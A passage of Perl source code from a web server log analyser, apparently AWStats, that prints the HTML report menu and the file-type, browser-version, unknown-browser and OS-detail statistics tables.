print "<input type=\"hidden\" name=\"output\" value=\"" . join( ',', keys %HTMLOutput ) . "\" />\n"; if ($SiteConfig) { print "<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" />\n"; } if ($DirConfig) { print "<input type=\"hidden\" name=\"configdir\" value=\"$DirConfig\" />\n"; } if ( $QueryString =~ /lang=(\w+)/i ) { print "<input type=\"hidden\" name=\"lang\" value=\"$1\" />\n"; } if ( $QueryString =~ /debug=(\d+)/i ) { print "<input type=\"hidden\" name=\"debug\" value=\"$1\" />\n"; } if ( $FrameName eq 'mainright' ) { print "<input type=\"hidden\" name=\"framename\" value=\"index\" />\n"; } print "<input type=\"submit\" value=\" $Message[115] \" class=\"aws_button\" />"; } else { print "<span style=\"font-size: 14px;\">"; if ($DayRequired) { print "$Message[4] $DayRequired - "; } if ( $MonthRequired eq 'all' ) { print "$Message[6] $YearRequired"; } else { print "$Message[5] $MonthNumLib{$MonthRequired} $YearRequired"; } print "</span>"; } print "</td></tr>\n"; } if ( $QueryString !~ /buildpdf/i ) { print "</table>\n"; print "</td></tr></table>\n"; } else { print "</table>\n"; } if ( $FrameName ne 'mainleft' ) { print "</form><br />\n"; } else { print "<br />\n"; } print "\n"; } #------------------------------------------------------------------------------ # Function: Prints the menu in a frame or below the top banner # Parameters: _ # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMenu{ my $NewLinkParams = shift; my $NewLinkTarget = shift; my $frame = ( $FrameName eq 'mainleft' ); if ($Debug) { debug( "ShowMenu", 2 ); } # Print menu links if ( ( $HTMLOutput{'main'} && $FrameName ne 'mainright' ) || $FrameName eq 'mainleft' ) { # If main page asked # Define link anchor my $linkanchor = ( $FrameName eq 'mainleft' ? "$AWScript${NewLinkParams}" : "" ); if ( $linkanchor && ( $linkanchor !~ /framename=mainright/ ) ) { $linkanchor .= "framename=mainright"; } $linkanchor =~ s/(&|&)$//; $linkanchor = XMLEncode("$linkanchor"); # Define target my $targetpage = ( $FrameName eq 'mainleft' ? " target=\"mainright\"" : "" ); # Print Menu my $linetitle; # TODO a virer if ( !$PluginsLoaded{'ShowMenu'}{'menuapplet'} ) { my $menuicon = 0; # TODO a virer # Menu HTML print "<table" . ( $frame ? " cellspacing=\"0\" cellpadding=\"0\" border=\"0\"" : "" ) . ">\n"; if ( $FrameName eq 'mainleft' && $ShowMonthStats ) { print( $frame? "<tr><td class=\"awsm\">" : "" ); print "<a href=\"$linkanchor#top\"$targetpage>$Message[128]</a>"; print( $frame? "</td></tr>\n" : "   " ); } my %menu = (); my %menulink = (); my %menutext = (); # When %menu = ( 'month' => $ShowMonthStats ? 1 : 0, 'daysofmonth' => $ShowDaysOfMonthStats ? 2 : 0, 'daysofweek' => $ShowDaysOfWeekStats ? 3 : 0, 'hours' => $ShowHoursStats ? 4 : 0 ); %menulink = ( 'month' => 1, 'daysofmonth' => 1, 'daysofweek' => 1, 'hours' => 1 ); %menutext = ( 'month' => $Message[162], 'daysofmonth' => $Message[138], 'daysofweek' => $Message[91], 'hours' => $Message[20] ); HTMLShowMenuCateg( 'when', $Message[93], 'menu4.png', $frame, $targetpage, $linkanchor, $NewLinkParams, $NewLinkTarget, \%menu, \%menulink, \%menutext ); # Who %menu = ( 'countries' => $ShowDomainsStats ? 1 : 0, 'alldomains' => $ShowDomainsStats ? 2 : 0, 'visitors' => $ShowHostsStats ? 3 : 0, 'allhosts' => $ShowHostsStats ? 4 : 0, 'lasthosts' => ( $ShowHostsStats =~ /L/i ) ? 5 : 0, 'unknownip' => $ShowHostsStats ? 6 : 0, 'logins' => $ShowAuthenticatedUsers ? 7 : 0, 'alllogins' => $ShowAuthenticatedUsers ? 8 : 0, 'lastlogins' => ( $ShowAuthenticatedUsers =~ /L/i ) ? 9 : 0, 'emailsenders' => $ShowEMailSenders ? 10 : 0, 'allemails' => $ShowEMailSenders ? 11 : 0, 'lastemails' => ( $ShowEMailSenders =~ /L/i ) ? 12 : 0, 'emailreceivers' => $ShowEMailReceivers ? 13 : 0, 'allemailr' => $ShowEMailReceivers ? 14 : 0, 'lastemailr' => ( $ShowEMailReceivers =~ /L/i ) ? 15 : 0, 'robots' => $ShowRobotsStats ? 16 : 0, 'allrobots' => $ShowRobotsStats ? 17 : 0, 'lastrobots' => ( $ShowRobotsStats =~ /L/i ) ? 18 : 0, 'worms' => $ShowWormsStats ? 19 : 0 ); %menulink = ( 'countries' => 1, 'alldomains' => 2, 'visitors' => 1, 'allhosts' => 2, 'lasthosts' => 2, 'unknownip' => 2, 'logins' => 1, 'alllogins' => 2, 'lastlogins' => 2, 'emailsenders' => 1, 'allemails' => 2, 'lastemails' => 2, 'emailreceivers' => 1, 'allemailr' => 2, 'lastemailr' => 2, 'robots' => 1, 'allrobots' => 2, 'lastrobots' => 2, 'worms' => 1 ); %menutext = ( 'countries' => $Message[148], 'alldomains' => $Message[80], 'visitors' => $Message[81], 'allhosts' => $Message[80], 'lasthosts' => $Message[9], 'unknownip' => $Message[45], 'logins' => $Message[94], 'alllogins' => $Message[80], 'lastlogins' => $Message[9], 'emailsenders' => $Message[131], 'allemails' => $Message[80], 'lastemails' => $Message[9], 'emailreceivers' => $Message[132], 'allemailr' => $Message[80], 'lastemailr' => $Message[9], 'robots' => $Message[53], 'allrobots' => $Message[80], 'lastrobots' => $Message[9], 'worms' => $Message[136] ); HTMLShowMenuCateg( 'who', $Message[92], 'menu5.png', $frame, $targetpage, $linkanchor, $NewLinkParams, $NewLinkTarget, \%menu, \%menulink, \%menutext ); # Navigation $linetitle = &AtLeastOneNotNull( $ShowSessionsStats, $ShowPagesStats, $ShowFileTypesStats, $ShowFileSizesStats, $ShowOSStats, $ShowBrowsersStats, $ShowScreenSizeStats, $ShowDownloadsStats ); if ($linetitle) { print "<tr><td class=\"awsm\"" . ( $frame ? "" : " valign=\"top\"" ) . ">" . ( $menuicon ? "<img src=\"$DirIcons/other/menu2.png\" /> " : "" ) . "<b>$Message[72]:</b></td>\n"; } if ($linetitle) { print( $frame? "</tr>\n" : "<td class=\"awsm\">" ); } if ($ShowSessionsStats) { print( $frame? "<tr><td class=\"awsm\">" : "" ); print "<a href=\"$linkanchor#sessions\"$targetpage>$Message[117]</a>"; print( $frame? "</td></tr>\n" : "   " ); } if ($ShowFileTypesStats && $LevelForFileTypesDetection > 0) { print( $frame? "<tr><td class=\"awsm\">" : "" ); print "<a href=\"$linkanchor#filetypes\"$targetpage>$Message[73]</a>"; print( $frame? "</td></tr>\n" : "   " ); } if ($ShowDownloadsStats && $LevelForFileTypesDetection > 0) { print( $frame? "<tr><td class=\"awsm\">" : "" ); print "<a href=\"$linkanchor#downloads\"$targetpage>$Message[178]</a>"; print( $frame? "</td></tr>\n" : "   " ); print( $frame ? "<tr><td class=\"awsm\">   <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " : "" ); print "<a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode( "$AWScript${NewLinkParams}output=downloads") : "$StaticLinks.downloads.$StaticExt" ) . "\"$NewLinkTarget>$Message[80]</a>\n"; print( $frame? "</td></tr>\n" : "   " ); } if ($ShowPagesStats) { print( $frame? "<tr><td class=\"awsm\">" : "" ); print "<a href=\"$linkanchor#urls\"$targetpage>$Message[29]</a>\n"; print( $frame? "</td></tr>\n" : "   " ); } if ($ShowPagesStats) { print( $frame ? "<tr><td class=\"awsm\">   <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " : "" ); print "<a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode( "$AWScript${NewLinkParams}output=urldetail") : "$StaticLinks.urldetail.$StaticExt" ) . "\"$NewLinkTarget>$Message[80]</a>\n"; print( $frame? "</td></tr>\n" : "   " ); } if ( $ShowPagesStats =~ /E/i ) { print( $frame ? "<tr><td class=\"awsm\">   <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " : "" ); print "<a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode( "$AWScript${NewLinkParams}output=urlentry") : "$StaticLinks.urlentry.$StaticExt" ) . "\"$NewLinkTarget>$Message[104]</a>\n"; print( $frame? "</td></tr>\n" : "   " ); } if ( $ShowPagesStats =~ /X/i ) { print( $frame ? "<tr><td class=\"awsm\">   <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " : "" ); print "<a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=urlexit") : "$StaticLinks.urlexit.$StaticExt" ) . "\"$NewLinkTarget>$Message[116]</a>\n"; print( $frame? "</td></tr>\n" : "   " ); } if ($ShowOSStats) { print( $frame? "<tr><td class=\"awsm\">" : "" ); print "<a href=\"$linkanchor#os\"$targetpage>$Message[59]</a>"; print( $frame? "</td></tr>\n" : "   " ); } if ($ShowOSStats) { print( $frame ? "<tr><td class=\"awsm\">   <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " : "" ); print "<a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode( "$AWScript${NewLinkParams}output=osdetail") : "$StaticLinks.osdetail.$StaticExt" ) . "\"$NewLinkTarget>$Message[58]</a>\n"; print( $frame? "</td></tr>\n" : "   " ); } if ($ShowOSStats) { print( $frame ? "<tr><td class=\"awsm\">   <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " : "" ); print "<a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode( "$AWScript${NewLinkParams}output=unknownos") : "$StaticLinks.unknownos.$StaticExt" ) . "\"$NewLinkTarget>$Message[0]</a>\n"; print( $frame? "</td></tr>\n" : "   " ); } if ($ShowBrowsersStats) { print( $frame? "<tr><td class=\"awsm\">" : "" ); print "<a href=\"$linkanchor#browsers\"$targetpage>$Message[21]</a>"; print( $frame? "</td></tr>\n" : "   " ); } if ($ShowBrowsersStats) { print( $frame ? "<tr><td class=\"awsm\">   <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " : "" ); print "<a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode( "$AWScript${NewLinkParams}output=browserdetail") : "$StaticLinks.browserdetail.$StaticExt" ) . "\"$NewLinkTarget>$Message[58]</a>\n"; print( $frame? "</td></tr>\n" : "   " ); } if ($ShowBrowsersStats) { print( $frame ? "<tr><td class=\"awsm\">   <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " : "" ); print "<a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode( "$AWScript${NewLinkParams}output=unknownbrowser") : "$StaticLinks.unknownbrowser.$StaticExt" ) . "\"$NewLinkTarget>$Message[0]</a>\n"; print( $frame? "</td></tr>\n" : "   " ); } if ($ShowScreenSizeStats) { print( $frame? "<tr><td class=\"awsm\">" : "" ); print "<a href=\"$linkanchor#screensizes\"$targetpage>$Message[135]</a>"; print( $frame? "</td></tr>\n" : "   " ); } if ($linetitle) { print( $frame? "" : "</td></tr>\n" ); } # Referers %menu = ( 'referer' => $ShowOriginStats ? 1 : 0, 'refererse' => $ShowOriginStats ? 2 : 0, 'refererpages' => $ShowOriginStats ? 3 : 0, 'keys' => ( $ShowKeyphrasesStats || $ShowKeywordsStats ) ? 4 : 0, 'keyphrases' => $ShowKeyphrasesStats ? 5 : 0, 'keywords' => $ShowKeywordsStats ? 6 : 0 ); %menulink = ( 'referer' => 1, 'refererse' => 2, 'refererpages' => 2, 'keys' => 1, 'keyphrases' => 2, 'keywords' => 2 ); %menutext = ( 'referer' => $Message[37], 'refererse' => $Message[126], 'refererpages' => $Message[127], 'keys' => $Message[14], 'keyphrases' => $Message[120], 'keywords' => $Message[121] ); HTMLShowMenuCateg( 'referers', $Message[23], 'menu7.png', $frame, $targetpage, $linkanchor, $NewLinkParams, $NewLinkTarget, \%menu, \%menulink, \%menutext ); # Others %menu = ( 'filetypes' => ( $ShowFileTypesStats =~ /C/i ) ? 1 : 0, 'misc' => $ShowMiscStats ? 2 : 0, 'errors' => ( $ShowHTTPErrorsStats || $ShowSMTPErrorsStats ) ? 3 : 0, 'clusters' => $ShowClusterStats ? 5 : 0 ); %menulink = ( 'filetypes' => 1, 'misc' => 1, 'errors' => 1, 'clusters' => 1 ); %menutext = ( 'filetypes' => $Message[98], 'misc' => $Message[139], 'errors' => ( $ShowSMTPErrorsStats ? $Message[147] : $Message[32] ), 'clusters' => $Message[155] ); my $idx = 0; foreach ( sort keys %TrapInfosForHTTPErrorCodes ) { $menu{"errors$_"} = $ShowHTTPErrorsStats ? 4+$idx : 0; $menulink{"errors$_"} = 2; $menutext{"errors$_"} = $Message[49] . ' (' . $_ . ')'; $idx++; } HTMLShowMenuCateg( 'others', $Message[2], 'menu8.png', $frame, $targetpage, $linkanchor, $NewLinkParams, $NewLinkTarget, \%menu, \%menulink, \%menutext ); # Extra/Marketing %menu = (); %menulink = (); %menutext = (); my $i = 1; foreach ( 1 .. @ExtraName - 1 ) { $menu{"extra$_"} = $i++; $menulink{"extra$_"} = 1; $menutext{"extra$_"} = $ExtraName[$_]; $menu{"allextra$_"} = $i++; $menulink{"allextra$_"} = 2; $menutext{"allextra$_"} = $Message[80]; } HTMLShowMenuCateg( 'extra', $Message[134], '', $frame, $targetpage, $linkanchor, $NewLinkParams, $NewLinkTarget, \%menu, \%menulink, \%menutext ); print "</table>\n"; } else { # Menu Applet if ($frame) { } else { } } #print ($frame?"":"<br />\n"); print "<br />\n"; } # Print Back link elsif ( !$HTMLOutput{'main'} ) { print "<table>\n"; $NewLinkParams =~ s/(^|&|&)hostfilter=[^&]*//i; $NewLinkParams =~ s/(^|&|&)urlfilter=[^&]*//i; $NewLinkParams =~ s/(^|&|&)refererpagesfilter=[^&]*//i; $NewLinkParams =~ s/(&|&)+/&/i; $NewLinkParams =~ s/^&//; $NewLinkParams =~ s/&$//; if ( !$DetailedReportsOnNewWindows || $FrameName eq 'mainright' || $QueryString =~ /buildpdf/i ) { print "<tr><td class=\"aws\"><a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}") : "$StaticLinks.$StaticExt" ) . "\">$Message[76]</a></td></tr>\n"; } else { print "<tr><td class=\"aws\"><a href=\"javascript:parent.window.close();\">$Message[118]</a></td></tr>\n"; } print "</table>\n"; print "\n"; } } #------------------------------------------------------------------------------ # Function: Prints the File Type table # Parameters: _ # Input: $NewLinkParams, $NewLinkTargets # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainFileType{ my $NewLinkParams = shift; my $NewLinkTarget = shift; if (!$LevelForFileTypesDetection > 0){return;} if ($Debug) { debug( "ShowFileTypesStatsCompressionStats", 2 ); } print "$Center<a name=\"filetypes\"> </a><br />\n"; my $Totalh = 0; foreach ( keys %_filetypes_h ) { $Totalh += $_filetypes_h{$_}; } my $Totalk = 0; foreach ( keys %_filetypes_k ) { $Totalk += $_filetypes_k{$_}; } my $title = "$Message[73]"; if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { # extend the title to include the added link $title = "$title   -   <a href=\"" . (XMLEncode( "$AddLinkToExternalCGIWrapper" . "?section=FILETYPES&baseName=$DirData/$PROG" . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" . "&siteConfig=$SiteConfig" ) . "\"$NewLinkTarget>$Message[179]</a>"); } if ( $ShowFileTypesStats =~ /C/i ) { $title .= " - $Message[98]"; } # build keylist at top &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_filetypes_h, \%_filetypes_h ); &tab_head( "$title", 19, 0, 'filetypes' ); # Graph the top five in a pie chart if (scalar @keylist > 1){ foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) { my @blocklabel = (); my @valdata = (); my @valcolor = ($color_p); my $cnt = 0; foreach my $key (@keylist) { push @valdata, int( $_filetypes_h{$key} / $Totalh * 1000 ) / 10; push @blocklabel, "$key"; $cnt++; if ($cnt > 4) { last; } } print "<tr><td colspan=\"7\">"; my $function = "ShowGraph_$pluginname"; &$function( "$Message[73]", "filetypes", 0, \@blocklabel, 0, \@valcolor, 0, 0, 0, \@valdata ); print "</td></tr>"; } } print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[73]</th>"; if ( $ShowFileTypesStats =~ /H/i ) { print "<th bgcolor=\"#$color_h\" width=\"80\"" . Tooltip(4) . ">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; } if ( $ShowFileTypesStats =~ /B/i ) { print "<th bgcolor=\"#$color_k\" width=\"80\"" . Tooltip(5) . ">$Message[75]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[15]</th>"; } if ( $ShowFileTypesStats =~ /C/i ) { print "<th bgcolor=\"#$color_k\" width=\"100\">$Message[100]</th><th bgcolor=\"#$color_k\" width=\"100\">$Message[101]</th><th bgcolor=\"#$color_k\" width=\"100\">$Message[99]</th>"; } print "</tr>\n"; my $total_con = 0; my $total_cre = 0; my $count = 0; foreach my $key (@keylist) { my $p_h = ' '; my $p_k = ' '; if ($Totalh) { $p_h = int( $_filetypes_h{$key} / $Totalh * 1000 ) / 10; $p_h = "$p_h %"; } if ($Totalk) { $p_k = int( $_filetypes_k{$key} / $Totalk * 1000 ) / 10; $p_k = "$p_k %"; } if ( $key eq 'Unknown' ) { print "<tr><td" . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) . "><img src=\"$DirIcons\/mime\/unknown.png\"" . AltTitle("") . " /></td><td class=\"aws\" colspan=\"2\"><span style=\"color: #$color_other\">$Message[0]</span></td>"; } else { my $nameicon = $MimeHashLib{$key}[0] || "notavailable"; my $nametype = $MimeHashFamily{$MimeHashLib{$key}[0]} || " "; print "<tr><td" . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) . "><img src=\"$DirIcons\/mime\/$nameicon.png\"" . AltTitle("") . " /></td><td class=\"aws\">$key</td>"; print "<td class=\"aws\">$nametype</td>"; } if ( $ShowFileTypesStats =~ /H/i ) { print "<td>".Format_Number($_filetypes_h{$key})."</td><td>$p_h</td>"; } if ( $ShowFileTypesStats =~ /B/i ) { print '<td nowrap="nowrap">' . Format_Bytes( $_filetypes_k{$key} ) . "</td><td>$p_k</td>"; } if ( $ShowFileTypesStats =~ /C/i ) { if ( $_filetypes_gz_in{$key} ) { my $percent = int( 100 * ( 1 - $_filetypes_gz_out{$key} / $_filetypes_gz_in{$key} ) ); printf( "<td>%s</td><td>%s</td><td>%s (%s%)</td>", Format_Bytes( $_filetypes_gz_in{$key} ), Format_Bytes( $_filetypes_gz_out{$key} ), Format_Bytes( $_filetypes_gz_in{$key} - $_filetypes_gz_out{$key} ), $percent ); $total_con += $_filetypes_gz_in{$key}; $total_cre += $_filetypes_gz_out{$key}; } else { print "<td> </td><td> </td><td> </td>"; } } print "</tr>\n"; $count++; } # Add total (only useful if compression is enabled) if ( $ShowFileTypesStats =~ /C/i ) { my $colspan = 3; if ( $ShowFileTypesStats =~ /H/i ) { $colspan += 2; } if ( $ShowFileTypesStats =~ /B/i ) { $colspan += 2; } print "<tr>"; print "<td class=\"aws\" colspan=\"$colspan\"><b>$Message[98]</b></td>"; if ( $ShowFileTypesStats =~ /C/i ) { if ($total_con) { my $percent = int( 100 * ( 1 - $total_cre / $total_con ) ); printf( "<td>%s</td><td>%s</td><td>%s (%s%)</td>", Format_Bytes($total_con), Format_Bytes($total_cre), Format_Bytes( $total_con - $total_cre ), $percent ); } else { print "<td> </td><td> </td><td> </td>"; } } print "</tr>\n"; } &tab_end(); } #------------------------------------------------------------------------------ # Function: Prints the Browser Detail frame or static page # Parameters: _ # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLShowBrowserDetail{ # Show browsers versions print "$Center<a name=\"browsersversions\"> </a><br />"; my $title = "$Message[21]"; &tab_head( "$title", 19, 0, 'browsersversions' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[58]</th>"; print "<th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; print "<th> </th>"; print "</tr>\n"; my $total_h = 0; my $total_p = 0; my $count = 0; &BuildKeyList( MinimumButNoZero( scalar keys %_browser_h, 500 ), 1, \%_browser_h, \%_browser_p ); my %keysinkeylist = (); my $max_h = 1; my $max_p = 1; # Count total by family my %totalfamily_h = (); my %totalfamily_p = (); my $TotalFamily_h = 0; my $TotalFamily_p = 0; BROWSERLOOP: foreach my $key (@keylist) { $total_h += $_browser_h{$key}; if ( $_browser_h{$key} > $max_h ) { $max_h = $_browser_h{$key}; } $total_p += $_browser_p{$key}; if ( $_browser_p{$key} > $max_p ) { $max_p = $_browser_p{$key}; } foreach my $family ( keys %BrowsersFamily ) { if ( $key =~ /^$family/i ) { $totalfamily_h{$family} += $_browser_h{$key}; $totalfamily_p{$family} += $_browser_p{$key}; $TotalFamily_h += $_browser_h{$key}; $TotalFamily_p += $_browser_p{$key}; next BROWSERLOOP; } } } # Write records grouped in a browser family foreach my $family ( sort { $BrowsersFamily{$a} <=> $BrowsersFamily{$b} } keys %BrowsersFamily ) { my $p_h = ' '; my $p_p = ' '; if ($total_h) { $p_h = int( $totalfamily_h{$family} / $total_h * 1000 ) / 10; $p_h = "$p_h %"; } if ($total_p) { $p_p = int( $totalfamily_p{$family} / $total_p * 1000 ) / 10; $p_p = "$p_p %"; } my $familyheadershown = 0; #foreach my $key ( reverse sort keys %_browser_h ) { foreach my $key ( reverse sort SortBrowsers keys %_browser_h ) { if ( $key =~ /^$family(.*)/i ) { if ( !$familyheadershown ) { print "<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>" . uc($family) . "</b></td>"; print "<td> </td><td><b>" . Format_Number(int( $totalfamily_p{$family} )) . "</b></td><td><b>$p_p</b></td>"; print "<td><b>" . Format_Number(int( $totalfamily_h{$family} )) . "</b></td><td><b>$p_h</b></td><td> </td>"; print "</tr>\n"; $familyheadershown = 1; } $keysinkeylist{$key} = 1; my $ver = $1; my $p_h = ' '; my $p_p = ' '; if ($total_h) { $p_h = int( $_browser_h{$key} / $total_h * 1000 ) / 10; $p_h = "$p_h %"; } if ($total_p) { $p_p = int( $_browser_p{$key} / $total_p * 1000 ) / 10; $p_p = "$p_p %"; } print "<tr>"; print "<td" . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) . "><img src=\"$DirIcons\/browser\/$family.png\"" . AltTitle("") . " /></td>"; print "<td class=\"aws\">" . ucfirst($family) . " " . ( $ver ? "$ver" : "?" ) . "</td>"; print "<td>" . ( $BrowsersHereAreGrabbers{$family} ? "<b>$Message[112]</b>" : "$Message[113]" ) . "</td>"; my $bredde_h = 0; my $bredde_p = 0; if ( $max_h > 0 ) { $bredde_h = int( $BarWidth * ( $_browser_h{$key} || 0 ) / $max_h ) + 1; } if ( ( $bredde_h == 1 ) && $_browser_h{$key} ) { $bredde_h = 2; } if ( $max_p > 0 ) { $bredde_p = int( $BarWidth * ( $_browser_p{$key} || 0 ) / $max_p ) + 1; } if ( ( $bredde_p == 1 ) && $_browser_p{$key} ) { $bredde_p = 2; } print "<td>".Format_Number($_browser_p{$key})."</td><td>$p_p</td>"; print "<td>".Format_Number($_browser_h{$key})."</td><td>$p_h</td>"; print "<td class=\"aws\">"; # alt and title are not provided to reduce page size if ($ShowBrowsersStats) { print "<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\" /><br />"; print "<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />"; } print "</td>"; print "</tr>\n"; $count++; } } } # Write other records my $familyheadershown = 0; foreach my $key (@keylist) { if ( $keysinkeylist{$key} ) { next; } if ( !$familyheadershown ) { my $p_h = ' '; my $p_p = ' '; if ($total_p) { $p_p = int( ( $total_p - $TotalFamily_p ) / $total_p * 1000 ) / 10; $p_p = "$p_p %"; } if ($total_h) { $p_h = int( ( $total_h - $TotalFamily_h ) / $total_h * 1000 ) / 10; $p_h = "$p_h %"; } print "<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$Message[2]</b></td>"; print "<td> </td><td><b>" . Format_Number(( $total_p - $TotalFamily_p )) . "</b></td><td><b>$p_p</b></td>"; print "<td><b>" . Format_Number(( $total_h - $TotalFamily_h )) . "</b></td><td><b>$p_h</b></td><td> </td>"; print "</tr>\n"; $familyheadershown = 1; } my $p_h = ' '; my $p_p = ' '; if ($total_h) { $p_h = int( $_browser_h{$key} / $total_h * 1000 ) / 10; $p_h = "$p_h %"; } if ($total_p) { $p_p = int( $_browser_p{$key} / $total_p * 1000 ) / 10; $p_p = "$p_p %"; } print "<tr>"; if ( $key eq 'Unknown' ) { print "<td" . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) . "><img src=\"$DirIcons\/browser\/unknown.png\"" . AltTitle("") . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td width=\"80\">?</td>"; } else { my $keywithoutcumul = $key; $keywithoutcumul =~ s/cumul$//i; my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul} || $keywithoutcumul; my $nameicon = $BrowsersHashIcon{$keywithoutcumul} || "notavailable"; print "<td" . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) . "><img src=\"$DirIcons\/browser\/$nameicon.png\"" . AltTitle("") . " /></td><td class=\"aws\">$libbrowser</td><td>" . ( $BrowsersHereAreGrabbers{$key} ? "<b>$Message[112]</b>" : "$Message[113]" ) . "</td>"; } my $bredde_h = 0; my $bredde_p = 0; if ( $max_h > 0 ) { $bredde_h = int( $BarWidth * ( $_browser_h{$key} || 0 ) / $max_h ) + 1; } if ( $max_p > 0 ) { $bredde_p = int( $BarWidth * ( $_browser_p{$key} || 0 ) / $max_p ) + 1; } if ( ( $bredde_h == 1 ) && $_browser_h{$key} ) { $bredde_h = 2; } if ( ( $bredde_p == 1 ) && $_browser_p{$key} ) { $bredde_p = 2; } print "<td>".Format_Number($_browser_p{$key})."</td><td>$p_p</td>"; print "<td>".Format_Number($_browser_h{$key})."</td><td>$p_h</td>"; print "<td class=\"aws\">"; # alt and title are not provided to reduce page size if ($ShowBrowsersStats) { print "<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\" /><br />"; print "<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />"; } print "</td>"; print "</tr>\n"; } &tab_end(); &html_end(1); } #------------------------------------------------------------------------------ # Function: Prints the Unknown Browser Detail frame or static page # Parameters: $NewLinkTarget # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLShowBrowserUnknown{ my $NewLinkTarget = shift; print "$Center<a name=\"unknownbrowser\"> </a><br />\n"; my $title = "$Message[50]"; if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { # extend the title to include the added link $title = "$title   -   <a href=\"" . (XMLEncode( "$AddLinkToExternalCGIWrapper" . "?section=UNKNOWNREFERERBROWSER&baseName=$DirData/$PROG" . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" . "&siteConfig=$SiteConfig" ) . "\"$NewLinkTarget>$Message[179]</a>"); } &tab_head( "$title", 19, 0, 'unknownbrowser' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>User agent (" . ( scalar keys %_unknownrefererbrowser_l ) . ")</th><th>$Message[9]</th></tr>\n"; my $total_l = 0; my $count = 0; &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_unknownrefererbrowser_l, \%_unknownrefererbrowser_l ); foreach my $key (@keylist) { my $useragent = XMLEncode( CleanXSS($key) ); print "<tr><td class=\"aws\">$useragent</td><td nowrap=\"nowrap\">" . Format_Date( $_unknownrefererbrowser_l{$key}, 1 ) . "</td></tr>\n"; $total_l += 1; $count++; } my $rest_l = ( scalar keys %_unknownrefererbrowser_l ) - $total_l; if ( $rest_l > 0 ) { print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; print "<td>-</td>"; print "</tr>\n"; } &tab_end(); &html_end(1); } #------------------------------------------------------------------------------ # Function: Prints the OS Detail frame or static page # Parameters: _ # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLShowOSDetail{ # Show os versions print "$Center<a name=\"osversions\"> </a><br />"; my $title = "$Message[59]"; &tab_head( "$title", 19, 0, 'osversions' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[58]</th>"; print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; print "</tr>\n"; my $total_h = 0; my $total_p = 0; my $count = 0; &BuildKeyList( MinimumButNoZero( scalar keys %_os_h, 500 ), 1, \%_os_h, \%_os_p ); my %keysinkeylist = (); my $max_h = 1; my $max_p = 1; # Count total by family my %totalfamily_h = (); my %totalfamily_p 